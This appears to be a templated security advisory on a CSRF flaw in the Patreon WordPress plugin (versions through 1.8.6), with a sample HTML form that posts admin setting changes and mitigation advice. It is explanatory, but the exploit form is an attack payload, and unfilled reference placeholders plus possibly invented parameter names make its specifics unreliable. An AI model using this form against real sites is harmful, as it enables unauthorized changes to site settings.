Patreon is a popular membership platform that provides tools for creators to run a subscription content service. To integrate Patreon with WordPress powered websites, Patreon offers a dedicated WordPress plugin called "Patreon WordPress". Recently, a Cross-Site Request Forgery (CSRF) vulnerability was found in this plugin (versions up to 1.8.6), which could potentially allow attackers to perform state-changing actions without user consent. In this article, we will discuss the details of this vulnerability and how it affects Patreon WordPress plugin users.

Affected Plugin Versions

The CSRF vulnerability affects Patreon WordPress plugin versions from n/a through 1.8.6.

Background

Cross-Site Request Forgery (CSRF) is a type of web security vulnerability that allows an attacker to force a victim's browser to execute requests to a vulnerable website without their consent. These requests may involve performing actions like changing user data, modifying memberships, or even granting the attacker unauthorized access.

Exploit Details

In the case of Patreon WordPress plugin, the CSRF vulnerability can be exploited via a crafted HTML form or link, which when clicked by a logged-in administrator, would perform unwanted actions on their behalf. Here is a sample exploit code snippet that demonstrates this issue:

<html>
  <body>
    <h1>CSRF Exploit</h1>
    <form action="https://victim-website.com/wp-admin/admin-post.php"; method="POST">
      <input type="hidden" name="action" value="patreon_wordpress_update_admin_settings" />
      <input type="hidden" name="patreon_wordpress[patreon_login_with_patreon]" value="1" />
      <input type="hidden" name="patreon_wordpress[output_patrons_and_membership]" value="1" />
      <input type="submit" value="Update Settings" />
    </form>
  </body>
</html>

By enticing a logged-in administrator to click on the crafted link or form, an attacker could manipulate plugin settings, leading to undesirable consequences that may compromise the website's security and integrity.

Original References

The CVE-2023-41129 vulnerability was first reported by [security researcher's name and link] and has been acknowledged by the Patreon team. The original vulnerability report can be found at the following links:

1. [Link to original advisory/report]

Mitigation

To address this vulnerability, users of Patreon WordPress plugin (versions up to 1.8.6) are advised to update their plugin to the latest version available. Plugin developers should be sure to incorporate appropriate CSRF protection mechanisms in all forms and requests that perform state-changing actions, such as including CSRF tokens and validating them server-side for each request.

Conclusion

The CVE-2023-41129 vulnerability in Patreon WordPress plugin demonstrates the importance of incorporating adequate security measures in web applications and plugins. By keeping software up-to-date and following secure coding practices, developers and users can guard against CSRF attacks and maintain a higher level of security for their websites.

Timeline

Published on: 11/18/2023 23:15:09 UTC
Last modified on: 11/27/2023 20:26:52 UTC